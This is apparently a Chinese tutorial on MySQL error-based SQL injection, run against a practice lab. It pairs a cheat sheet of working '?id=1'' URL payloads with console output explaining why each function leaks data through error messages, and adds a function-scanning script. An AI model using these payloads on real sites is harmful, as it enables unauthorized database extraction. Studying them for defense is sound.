Track文库—Mysql报错注入

admin 2022年10月15日23:58:12评论31 views字数 13392阅读44分38秒阅读模式

高质量的安全文章,安全offer面试经验分享

尽在 # 掌控安全EDU #


报错注入-构造 payload 让信息通过错误提示回显出来

本篇内容分为:语句速查表、语句原理释义、分析用于报错注入函数的脚本

欢迎到Track社区复制具体语句,或投稿其他技术内容

语句速查表

数据溢出

5.5.44成功/5.5.53失败

Track文库—Mysql报错注入

5.5.44,5.5.53皆成功

Track文库—Mysql报错注入

多次测试不能使用select

Track文库—Mysql报错注入

主键重复

5.5.44,5.5.53皆成功

Track文库—Mysql报错注入

一些特性

列名重复(只能爆列名)

5.5.44,5.5.53皆成功

Track文库—Mysql报错注入

用户变量

?id=1' union select 1,2,(select min(@a:=1) from information_schema.tables group by concat((select schema_name from information_schema.schemata limit 1,1),@a:=(@a%2b1)%2))-- +

几何函数

5.5.53 失败,5.5.44成功

Track文库—Mysql报错注入


UUID

8.0.12成功 5.5.44 5.5.53失败

Track文库—Mysql报错注入

GETID

8.0.12成功 5.5.44 5.5.53失败

?id=1' union select 1,2,gtid_subset(user(),1)-- +
?id=1' union select 1,2,gtid_subtract((select * from(select user())a),1)-- +
?id=1' union select 1,2,gtid_subset(hex(substr((select schema_name from information_schema.schemata limit 1,1),1,1)),1)-- +

原理分析

xpath语法错
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:extractvalue():对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)。
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式,即使查询不到也不会报错,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

mysql> select extractvalue(1,(select user()));
ERROR 1105 (HY000): XPATH syntax error: '@localhost' 

mysql> select extractvalue(1,concat(0x7e,(select user()),0x7e)); 
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

mysql> select extractvalue(1,concat('/',(select user()),'/')); 
ERROR 1105 (HY000): XPATH syntax error: '@localhost/'

神奇的是直接写显示不全,所以加了个连接函数,如果连接符不是 ~ 也显示不全。

?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+

Track文库—Mysql报错注入

extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位。
updatexml()函数与extractvalue()类似,是更新xml文档的函数。语法updatexml(目标xml文档,xml路径,更新的内容)

mysql> select updatexml(1,concat(0x7e,(select user()),0x7e),1); 
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)-- +

Track文库—Mysql报错注入

表优化
PROCEDURE ANYLYSE通过分析SELECT 查询结果对现有的表的每一列给出优化的条件。

SELECT ... FROM ... WHERE ... PROCEDURE ANALYSE([max_elements,[max_memory]])

max_elements (默认值 256)是analyse注意到每列不同值的最高数目。analyse使用此参数来检查是否最优化的列的类型是ENUM类型。max_memory (默认值 8192) 是analyse在查找所有不同值时分配给每列的最大内存数。

mysql> select username from users procedure analyse()\G;

*************************** 1. row ***************************

Field_name: security.users.username
Min_value: admin
Max_value: superman
Min_length: 4
Max_length: 8
Empties_or_zeros: 0
Nulls: 0
Avg_value_or_avg_length: 6.0769
Std: NULL
Optimal_fieldtype: ENUM('admin','admin1','admin2','admin3','admin4','Angelina','batman','dhakkan','Dumb','Dummy','secure','stupid','superman') NOT NULL 1
row in set (0.00 sec)
ERROR:No query specified

mysql> select * from information_schema.tables order by 1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);
ERROR 1105 (HY000): XPATH syntax error: ':security'

?id=1' order by 1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)-- +

Track文库—Mysql报错注入

测试发现没办法用select查询其他的

据溢出

5.5.44成功/5.5.53失败

?id=1' union select 1,2,exp(~(select*from(select user())x))-- +

?id=1' union select 1,2,(select(!x-~0)from(select(select user())x)a)-- +

?id=1' union select 1,2,(select(!x-~0)from(select(select user())x)a)-- +

参考https://xz.aliyun.com/t/253

在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况:
测试环境5.5.53,但是实际复现5.5.44成功,5.5.53失败

mysql> select 18446744073709551615+1;ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)' 
mysql> select 18446744073709551616+1;+------------------------+| 18446744073709551616+1 |+------------------------+| 18446744073709551617 |+------------------------+ 1 row in set (0.00 sec)

很神奇,只有那一个会报错,大于就不错

mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'

如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:

mysql> select (select * from (select user())x);

+----------------------------------+
| (select * from (select user())x) |
+----------------------------------+
| root@localhost |
+----------------------------------+
1 row in set (0.00 sec)

最后那个 x 是 把 select user()的值给x

mysql> select ~(select * from (select user())x);
+-----------------------------------+
| ~(select * from (select user())x) |
+-----------------------------------+
| 18446744073709551615 |
+-----------------------------------+ 1 row in set (0.00 sec)

mysql> select ~(select * from (select user())x)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~((select `x`.`us er()` from (select user() AS `user()`) `x`)) + 1)'

很神奇,在5.5.44中可以出结果,但是在url里+要用%2B代替

?id=1' union select 1,2,(~(select * from (select user())x)%2B1)-- +

Track文库—Mysql报错注入

?id=1' union select 1,2,(select(!x-~0)from(select(select user())x)a)-- +

Track文库—Mysql报错注入

mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+ 1 row in set (0.00 sec) mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

同理,也可以用exp达到上述的目的

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select`x`.`user()`from (select user() AS `user()`) `x`)))'

?id=1' union select 1,2,exp(~(select*from(select user())x))-- +

Track文库—Mysql报错注入

键重复

这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路

mysql> select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1046 (3D000): No database selected
ERROR 1146 (42S02): Table 'security.test' doesn't exist

这里是没有test这个表??可以换成存在的表

mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.531' for key 'group_key'

在实际运用中好像要判断字段数

?id=1' union select 1,2,count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))-- +

Track文库—Mysql报错注入

实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:

mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; 
ERROR 1062 (23000): Duplicate entry '5.5.531' for key 'group_key'

注意这个语句因为有一个count(*).所以需要目标大于一个字段才能用

?id=1' union select 1,2,count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))-- +

Track文库—Mysql报错注入

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key
原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。举个例子,表中数据如下:
floor()是只保留整数部分

mysql> select floor(1.3),floor(0.1);
+------------+------------+
| floor(1.3) | floor(0.1) |
+------------+------------+
| 1 | 0 |
+------------+------------+ 1 row in set (0.00 sec)

count()是统计有多少记录

mysql> select count(*),count(id) from users;
+----------+-----------+
| count(*) | count(id) |
+----------+-----------+
| 13 | 13 |
+----------+-----------+ 1 row in set (0.00 sec)

rand()是产生一个随机数,括号里有数的就会产生固定的序列

mysql> select rand(),rand(0);
+---------------------+---------------------+
| rand() | rand(0) |
+---------------------+---------------------+
| 0.17740170860421073 | 0.15522042769493574 |
+---------------------+---------------------+
1 row in set (0.00 sec) mysql> select rand(0),rand(0),rand(0) from users;
+---------------------+---------------------+---------------------+
| rand(0) | rand(0) | rand(0) |
+---------------------+---------------------+---------------------+
| 0.15522042769493574 | 0.15522042769493574 | 0.15522042769493574 |
| 0.620881741513388 | 0.620881741513388 | 0.620881741513388 |
| 0.6387474552157777 | 0.6387474552157777 | 0.6387474552157777 |
| 0.33109208227236947 | 0.33109208227236947 | 0.33109208227236947 |
| 0.7392180764481594 | 0.7392180764481594 | 0.7392180764481594 |
| 0.7028141661573334 | 0.7028141661573334 | 0.7028141661573334 |
| 0.2964166321758336 | 0.2964166321758336 | 0.2964166321758336 |
| 0.3736406931408129 | 0.3736406931408129 | 0.3736406931408129 |
| 0.9789535999102086 | 0.9789535999102086 | 0.9789535999102086 |
| 0.7738459508622493 | 0.7738459508622493 | 0.7738459508622493 |
| 0.9323689853142658 | 0.9323689853142658 | 0.9323689853142658 |
| 0.3403071047182261 | 0.3403071047182261 | 0.3403071047182261 |
| 0.9044285983819781 | 0.9044285983819781 | 0.9044285983819781 |
+---------------------+---------------------+---------------------+

多运行几次可以看到结果都一样,所以,floor(rand(0)*2)则会固定得到011011…的序列(这个很重要),如果不是这个顺序就搞不出来

mysql> select (rand(0)*2),floor(rand(0)*2) from users;
+--------------------+------------------+
| (rand(0)*2) | floor(rand(0)*2) |
+--------------------+------------------+
| 0.3104408553898715 | 0 |
| 1.241763483026776 | 1 |
| 1.2774949104315554 | 1 |
| 0.6621841645447389 | 0 |
| 1.4784361528963188 | 1 |
| 1.4056283323146668 | 1 |
| 0.5928332643516672 | 0 |
| 0.7472813862816258 | 0 |
| 1.9579071998204172 | 1 |
| 1.5476919017244986 | 1 |
| 1.8647379706285316 | 1 |
| 0.6806142094364522 | 0 |
| 1.8088571967639562 | 1 |
+--------------------+------------------+
13 rows in set (0.00 sec)

一些特性

name_const()只在mysql内部使用,服务器在书写来自包含局部程序变量的存储程序的语句时会用到它,name_const(built_name,value)。mysql列名重复会报错,我们利用name_const来制造一个列:

mysql> select name_const(version(),1);
+--------+
| 5.5.53 |
+--------+
| 1 |
+--------+
1 row in set (0.00 sec)

mysql> select name_const(@@version,1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.5.53'

?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

注意:1,2,3 可以用*代替

Track文库—Mysql报错注入

根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式,很神奇,只能使用version()爆出版本。但是假如
join 

mysql> select * from(select * from users a join users b)c; 
ERROR 1060 (42S21): Duplicate column name 'id'

mysql> select * from(select * from users a join users b using(id))c; 
ERROR 1060 (42S21): Duplicate column name 'username'

mysql> select * from(select * from users a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'

这样可以爆出列名

?id=1' union select *%20 from(select * from users a join users b)c-- +

Track文库—Mysql报错注入

?id=1' union select *%20 from(select * from users a join users b using(id,username))c-- +

Track文库—Mysql报错注入

UUID 8.0.0以上可用
MySQL在初始化的时候会产生一个UUID,UUID 是 通用唯一识别码(Universally Unque Identifier)的缩写,是一种软件建构的标准,是让分布式系统中的所有元素,都能有唯一的辨识信息,而不需要通过中央控制端来做辨识信息的指定。如此一来,每个人都可以创建不与其它人冲突的UUID。在这样的情况下,就不需考虑数据库创建时的名称重复问题。

mysql> SELECT UUID_TO_BIN((SELECT version()));
ERROR 1411 (HY000): Incorrect string value: '8.0.12' for function uuid_to_bin

id=1' union select 1,2,UUID_TO_BIN((SELECT version()))-- +

Track文库—Mysql报错注入

mysql> SELECT BIN_TO_UUID((SELECT version()));
ERROR 1411 (HY000): Incorrect string value: '8.0.12' for function bin_to_uuid

?id=1' union select 1,2,BIN_TO_UUID((SELECT version()))-- +

Track文库—Mysql报错注入

GTID

mysql> select gtid_subset(version(),1);
ERROR 1772 (HY000): Malformed GTID set specification '8.0.12'.

Track文库—Mysql报错注入

?id=1' union select 1,2,gtid_subset(version(),1)-- + 
mysql> select gtid_subset(hex(substr((select schema_name from information_schema.schemata limit 1,1),1,1)),1);
ERROR 1772 (HY000): Malformed GTID set specification '69'.

?id=1' union select 1,2,gtid_subset(hex(substr((select schema_name from information_schema.schemata limit 1,1),1,1)),1)-- +

Track文库—Mysql报错注入

mysql> select gtid_subtract((select * from(select user())a),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.

?id=1' union select 1,2,gtid_subtract((select * from(select user())a),1)-- +

Track文库—Mysql报错注入

用户变量

mysql> select min(@a:=1) from information_schema.tables group by concat(database (),@a:=(@a+1)%2);
ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'

mysql> select min(@a:=1) from information_schema.tables group by concat((select schema_name from information_schema.schemata limit 1,1),@a:=(@a+1)%2);
ERROR 1062 (23000): Duplicate entry 'challenges0' for key 'group_key'

注意:运用的时候好像要判断字段数

mysql> select * from users union select 1,2,(select min(@a:=1) from information_schema.tables group by concat((select schema_name from information_schema.schemata limit 1,1),@a:=(@a+1)%2));
ERROR 1062 (23000): Duplicate entry 'challenges0' for key 'group_key'

注意:+要用%2b代替

?id=1' union select 1,2,(select min(@a:=1) from information_schema.tables group by concat(database(), @a:=(@a%2b1)%2))-- +

Track文库—Mysql报错注入

?id=1' union select 1,2,(select min(@a:=1) from information_schema.tables group by concat((select schema_name from information_schema.schemata limit 1,1),@a:=(@a+1)%2))-- +

Track文库—Mysql报错注入

这个脚本从mysql官方文档爬取函数,根据报错结果分析可能用于报错注入的函数

import requestsimport reimport MySQLdbfrom warnings import filterwarningsfilterwarnings('error', category = MySQLdb.Warning)def get_function(url): response = requests.get(url).text pattern = re.compile('[_a-zA-Z0-9]+()', re.S) functions = re.findall(pattern,response) return functionsdef sql_connect(): db = MySQLdb.connect("localhost","root", "roozt", "security", charset='utf8') global cursor cursor = db.cursor()def test(functions): hackable = [] old_hackable = [] unhackable = [] param_error = [] old_func = [] for func in functions: func = func[:-2] cmd = 'select {}(concat("~", version(), "~"))'.format(func) try: cursor.execute(cmd) except Exception as e: error = str(e) if '~5.5.53~' in error: hackable.append(func) elif 'Incorrect parameter count' in error or 'SQL syntax' in error: param_error.append(func) elif 'does not exist' in error: old_func.append(func) elif '''concat('~',version(),'~')''' in error: old_hackable.append(func) else: unhackable.append(func) continue else: unhackable.append(func) print('可用于报错注入') for func in hackable: print(func) print('可用于旧版本报错注入') for func in old_hackable: print(func) print('参数错误') for func in param_error: print(func) print('无法用于报错注入') for func in unhackable: print(func)def main(ver): sql_connect() # https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html url = "https://dev.mysql.com/doc/refman/"+ ver +"/en/dynindex-function.html" functions = get_function(url) test(functions)if __name__ == '__main__': vers=[5.5,5.6,5.7,8.0] for ver in vers: ver = str(ver) print(ver) main(ver)




回顾往期内容

面试经验分享 — 安恒、安垚、端御#附面试题、心得

新时代的渗透思路!微服务下的信息搜集

反杀黑客 — 还敢连shell吗?蚁剑RCE第二回合~

防溯源防水表—APT渗透攻击红队行动保障

实战纪实 | 从编辑器漏洞到拿下域控300台权限

Track文库—Mysql报错注入


 扫码加助教老师

可领取免费安全教程

Track文库—Mysql报错注入


 还有免费的配套靶场交流群哦!



                           点击在看~好文推荐大家一起看!👇

原文始发于微信公众号(掌控安全EDU):Track文库—Mysql报错注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月15日23:58:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Track文库—Mysql报错注入https://cn-sec.com/archives/946461.html

发表评论

匿名网友 填写信息